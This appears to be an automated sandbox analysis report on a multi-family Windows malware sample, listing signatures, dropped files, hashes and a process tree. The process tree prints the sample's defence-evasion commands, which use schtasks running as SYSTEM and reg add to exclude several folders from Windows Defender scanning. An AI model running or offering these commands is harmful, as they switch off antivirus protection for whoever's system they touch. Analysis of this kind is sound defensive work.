Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/08/2026, 22:45

General

  • Target
    2026-08-04_7abef7e805affa0aeecdb987d4043bcd_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
  • Size 55.2MB
  • Sample260804-2prlnazvew
  • SHA256 291f83f2e7ee75c8a929e5043235fa5b8dc80446852416714390a793ef8e8c70
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-04_7abef7e805affa0aeecdb987d4043bcd_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-04_7abef7e805affa0aeecdb987d4043bcd_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5052
  • C:\Users\Public\jvRzHg\VXyzAH.exe
    C:\Users\Public\jvRzHg\VXyzAH.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2704
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\jvRzHg\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4352
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\jvRzHg\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2688
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3680
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4472
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2128
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1740
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5068
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3376
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:760
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1732
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2708
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2100
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4888
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4232
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:904
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3996
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:2336
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1264
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1748
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4356
                      • C:\Users\Public\jvRzHg\VXyzAH.exe
                        "C:\Users\Public\jvRzHg\VXyzAH.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3872
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\jvRzHg" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3940
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\jvRzHg" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4644
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:3720
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1708
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2464
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4312
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4700

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\jvRzHg\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 0c568d9ee492d58617f7846565a29900ff097382f44de99e8834225afa02321e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              VXyzAH.exe

                              • Path C:\Users\Public\jvRzHg\VXyzAH.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\jvRzHg\adoresd.dat
                              • Size 4.7MB
                              • SHA256 6c9bedea8edbfc3d955bce0290451b22edf28317b549ef05f0b14e64761204af
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\jvRzHg\msadox.tb
                              • Size 8KB
                              • SHA256 b4f80afbdaf69371594ccf58bda62be4266dca28e46ccdf3e984a9c7bc77d31b
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2704-545-0x000001BF159D0000-0x000001BF16261000-memory.dmp

                              memory/2704-558-0x000001BF165B0000-0x000001BF1663A000-memory.dmp

                              memory/2704-554-0x000001BF14F30000-0x000001BF14F7E000-memory.dmp

                              memory/2704-529-0x00007FFA55790000-0x00007FFA55792000-memory.dmp

                              memory/2704-555-0x000001BF165B0000-0x000001BF1663A000-memory.dmp

                              memory/2704-531-0x00007FFA38C90000-0x00007FFA391AE000-memory.dmp

                              memory/2704-556-0x000001BF165B0000-0x000001BF1663A000-memory.dmp

                              memory/2704-535-0x000001BF159D0000-0x000001BF16261000-memory.dmp

                              memory/2704-538-0x000001BF159D0000-0x000001BF16261000-memory.dmp

                              memory/2704-542-0x000001BF159D0000-0x000001BF16261000-memory.dmp

                              memory/2704-537-0x00007FFA557A0000-0x00007FFA557A2000-memory.dmp

                              memory/2704-543-0x000001BF159D0000-0x000001BF16261000-memory.dmp

                              memory/2704-563-0x000001BF159D0000-0x000001BF16261000-memory.dmp

                              memory/2704-544-0x000001BF159D0000-0x000001BF16261000-memory.dmp

                              memory/2704-549-0x000001BF159D0000-0x000001BF16261000-memory.dmp

                              memory/2704-562-0x000001BF159D0000-0x000001BF16261000-memory.dmp

                              memory/2704-557-0x000001BF165B0000-0x000001BF1663A000-memory.dmp

                              memory/3872-580-0x000001DB358D0000-0x000001DB36161000-memory.dmp

                              memory/3872-582-0x000001DB358D0000-0x000001DB36161000-memory.dmp

                              memory/3872-575-0x000001DB358D0000-0x000001DB36161000-memory.dmp

                              memory/3872-574-0x00007FFA557A0000-0x00007FFA557A2000-memory.dmp

                              memory/3872-583-0x00007FFA55790000-0x00007FFA55792000-memory.dmp

                              memory/3872-570-0x00007FFA38C90000-0x00007FFA391AE000-memory.dmp

                              memory/3872-579-0x000001DB358D0000-0x000001DB36161000-memory.dmp

                              memory/3872-581-0x000001DB358D0000-0x000001DB36161000-memory.dmp

                              memory/3872-572-0x000001DB358D0000-0x000001DB36161000-memory.dmp

                              memory/5052-523-0x00000000001F0000-0x00000000001FD000-memory.dmp

                              memory/5052-0-0x00000000001F0000-0x00000000001FD000-memory.dmp

                              memory/5052-524-0x00007FFA45940000-0x00007FFA45950000-memory.dmp

                              memory/5052-503-0x00007FFA45940000-0x00007FFA45950000-memory.dmp

                              memory/5052-1-0x00000000004D0000-0x00000000004DB000-memory.dmp